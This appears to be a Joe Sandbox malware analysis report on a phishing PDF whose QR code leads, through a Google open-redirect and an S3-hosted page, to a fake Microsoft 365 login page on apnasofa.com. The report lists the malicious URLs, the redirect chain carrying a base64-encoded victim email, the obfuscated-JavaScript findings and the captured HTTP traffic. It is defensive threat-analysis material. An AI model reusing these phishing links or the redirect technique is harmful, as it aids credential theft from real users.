Edit tour

Windows Analysis Report
Employee_Important_Message.pdf

Overview

General Information

Sample name:	Employee_Important_Message.pdf
Analysis ID:	1566807
MD5:	40ecbdeb048b52cbfbf201bf4579a6ff
SHA1:	33757b1ada30b85277e883b13bcd885adcd101a4
SHA256:	2fbc05e0ef487d6b78891eb850078ecc3f73688538bced4a464d1473fa719ca4
Infos:

Detection

Score:	64
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Antivirus detection for URL or domain

AI detected landing page (webpage, office document or email)

AI detected suspicious Javascript

Detected suspicious crossdomain redirect

HTML body contains low number of good links

HTML title does not match URL

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Classification

Process Tree

System is w10x64

Acrobat.exe (PID: 3636 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\Employee_Important_Message.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 3448 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7348 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1616,i,3436419427165153113,17725779986340987366,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

chrome.exe (PID: 7916 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.google.sn/url?q=lheard@wc.com&wc.com&sa=t&url=amp/s/i--iy.s3.us-east-1.amazonaws.com/vocabulary.html#bGhlYXJkQHdjLmNvbQ== MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7380 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2036 --field-trial-handle=1960,i,2475792775790874993,11739866391639367341,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://apnasofa.com/episode/index#bGhlYXJkQHdjLmNvbQ==	SlashNext: Label: Credential Stealing type: Phishing & Social Engineering
Source: https://apnasofa.com/episode/index#	Avira URL Cloud: Label: malware
Source: https://apnasofa.com/episode/script.js	Avira URL Cloud: Label: malware
Source: https://apnasofa.com/episode/style.css	Avira URL Cloud: Label: malware
Source: https://apnasofa.com/episode/image/logo.png	Avira URL Cloud: Label: malware
Source: https://apnasofa.com/episode/index	Avira URL Cloud: Label: malware
Source: https://apnasofa.com/favicon.ico	Avira URL Cloud: Label: malware

Phishing

AI detected phishing page

Source: https://apnasofa.com/episode/index#bGhlYXJkQHdjLmNvbQ==	Joe Sandbox AI: Score: 7 Reasons: The brand 'Microsoft 365' is well-known and typically associated with the domain 'microsoft.com'., The URL 'apnasofa.com' does not match the legitimate domain for Microsoft 365., The domain 'apnasofa.com' does not have any apparent connection to Microsoft or its services., The presence of a generic or unrelated domain name is a common indicator of phishing., The input field email 'l2nqr7@gcjr.com' does not provide any additional context to suggest legitimacy. DOM: 1.0.pages.csv
Source: https://apnasofa.com/episode/index#bGhlYXJkQHdjLmNvbQ==	Joe Sandbox AI: Score: 7 Reasons: The brand 'Microsoft 365' is well-known and typically associated with the domain 'microsoft.com'., The URL 'apnasofa.com' does not match the legitimate domain for Microsoft 365., The domain 'apnasofa.com' does not have any apparent connection to Microsoft or its services., The presence of a generic email input field suggests a potential phishing attempt to collect user credentials. DOM: 1.1.pages.csv

AI detected landing page (webpage, office document or email)

Source: PDF document	Joe Sandbox AI: PDF document contains QR code
Source: https://apnasofa.com/episode/index#bGhlYXJkQHdjLmNvbQ==	Joe Sandbox AI: Page contains button: 'Verify' Source: '1.0.pages.csv'
Source: https://apnasofa.com/episode/index#bGhlYXJkQHdjLmNvbQ==	Joe Sandbox AI: Page contains button: 'Verify' Source: '1.1.pages.csv'

AI detected suspicious Javascript

Source: 1.1..script.csv

Joe Sandbox AI: Detected suspicious JavaScript: High-risk script detected: Uses atob() for obfuscation (+3), contains a large encoded payload (+3), includes a hardcoded 'secretkey' which might be used for malicious decryption (+1), and the length/complexity of encoded data suggests potential malware payload (+1). The obfuscation technique is commonly used to hide malicious code.

Source: https://apnasofa.com/episode/index#bGhlYXJkQHdjLmNvbQ==

HTTP Parser: Number of links: 0

Source: https://apnasofa.com/episode/index#bGhlYXJkQHdjLmNvbQ==

HTTP Parser: Title: pleased does not match URL

Source: https://apnasofa.com/episode/index#bGhlYXJkQHdjLmNvbQ==	HTTP Parser: No favicon
Source: https://apnasofa.com/episode/index#bGhlYXJkQHdjLmNvbQ==	HTTP Parser: No favicon

Source: https://apnasofa.com/episode/index#bGhlYXJkQHdjLmNvbQ==	HTTP Parser: No <meta name="author".. found
Source: https://apnasofa.com/episode/index#bGhlYXJkQHdjLmNvbQ==	HTTP Parser: No <meta name="author".. found

Source: https://apnasofa.com/episode/index#bGhlYXJkQHdjLmNvbQ==	HTTP Parser: No <meta name="copyright".. found
Source: https://apnasofa.com/episode/index#bGhlYXJkQHdjLmNvbQ==	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 23.32.185.164:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.32.185.164:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.4:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.4:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49773 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

HTTP traffic: Redirect from: www.google.sn to https://i--iy.s3.us-east-1.amazonaws.com/vocabulary.html

Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205
Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 23.32.185.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.32.185.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.32.185.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.32.185.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.32.185.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.32.185.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.32.185.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.32.185.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.32.185.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.32.185.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.32.185.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.32.185.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.32.185.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.32.185.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.32.185.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.32.185.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.32.185.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.32.185.164
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 178.79.238.0
Source: unknown	TCP traffic detected without corresponding DNS query: 178.79.238.0
Source: unknown	TCP traffic detected without corresponding DNS query: 178.79.238.0
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63

Source: global traffic	HTTP traffic detected: GET /url?q=lheard@wc.com&wc.com&sa=t&url=amp/s/i--iy.s3.us-east-1.amazonaws.com/vocabulary.html HTTP/1.1Host: www.google.snConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /amp/s/i--iy.s3.us-east-1.amazonaws.com/vocabulary.html HTTP/1.1Host: www.google.snConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=cT6yRArz5LPOngWUt5-gDsrB6NSNUY1EfMxZpdNoyZ7ircpxiYVNljQhn84VPXFa0haU2BAPEqEgGwGM6GYQ4qBSgvaJFGh_YrCXHyhveczuLydmkMSbblVsEG6B4bqvGtVVT7MszTIXRQfteAIQunFlGlhDMx5pHdI419-mECkLjAGtHBFOJE1GbrLGD3HxR8A00g
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /vocabulary.html HTTP/1.1Host: i--iy.s3.us-east-1.amazonaws.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /episode/index HTTP/1.1Host: apnasofa.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://i--iy.s3.us-east-1.amazonaws.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /episode/style.css HTTP/1.1Host: apnasofa.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://apnasofa.com/episode/indexAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=2nvR5RnwFWOGpbB&MD=eSUd7a8V HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /episode/image/logo.png HTTP/1.1Host: apnasofa.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://apnasofa.com/episode/indexAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /episode/script.js HTTP/1.1Host: apnasofa.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://apnasofa.com/episode/indexAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api.ipify.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://apnasofa.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://apnasofa.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /episode/script.js HTTP/1.1Host: apnasofa.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /episode/image/logo.png HTTP/1.1Host: apnasofa.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: apnasofa.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://apnasofa.com/episode/indexAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api.ipify.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /json/8.46.123.228 HTTP/1.1Host: ipwhois.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://apnasofa.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://apnasofa.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /json/8.46.123.228 HTTP/1.1Host: ipwhois.appConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=2nvR5RnwFWOGpbB&MD=eSUd7a8V HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
